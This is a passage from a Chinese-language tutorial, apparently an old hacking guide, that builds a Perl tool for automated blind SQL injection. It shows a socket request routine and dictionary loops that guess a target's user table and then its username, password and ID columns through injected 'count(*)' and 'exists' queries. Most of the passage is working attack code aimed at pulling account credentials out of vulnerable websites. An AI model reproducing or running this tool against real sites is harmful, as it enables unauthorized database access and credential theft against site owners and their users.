my $connection = IO::Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $connection $req; my @res = <$connection>; close $connection; return @res; } Connect 子例程将返回信息存储在数组@res中; 三. 猜解用户信息表 使用SQL查询语句:0<>(select count(*) from TABLE) 真正的破解开始了,没有什么捷径可走,顺次读取字典里存储的表名,然后一个一个的尝试,一旦成功匹配正确信息,立即退出while循环;字典有两种,一种是数组,第二是文本字典,PERL脚本我们将编译为EXE可执行文件,为了便于今后修改添加新的表名,我使用文本字典文件: 程序代码:
open (tabInput,"table.txt") or die "can''''t open file!\n"; while (chomp(my $input=<tabInput>)) { my $sql="0<>(select%20count(*)%20from%20$input)"; $path1 = "%20AND%20$sql"; &url; @res = &connect; if ("@res"=~/$info/) { $table_user=$input; print "the table of userinfo is:$table\n"; last; } } close(tabInput);四. 猜解字段名 使用SQL查询语句:exists (select COL_NAME from TABLE) 这一步同猜解表名如出一辙,一旦成功获取表名,我们将兵分三路,直取用户名列($field_user)、密码列($field_pass)、ID列($field_id),既然是分兵出击,就不得不使用多线程,PERL中的多线程,呵呵,你还没有试过吧? 为实现多线程作的第一个准备,编写猜解子例程(函数),我们依然使用文本字典文件,在这里,文件名作为唯一的参数传入: 程序代码:
sub field_input { my $field; open (fieInput,"$_[0]") or die "can''''t open file!\n"; while (chomp(my $input=<fieInput>)) { my $sql="exists%20(select%20$input%20from%20$table_User)"; $path1 = "%20AND%20$sql"; my @res = &connect; if ("@res"=~/$info/) { $field=$input; print "\t+-- $field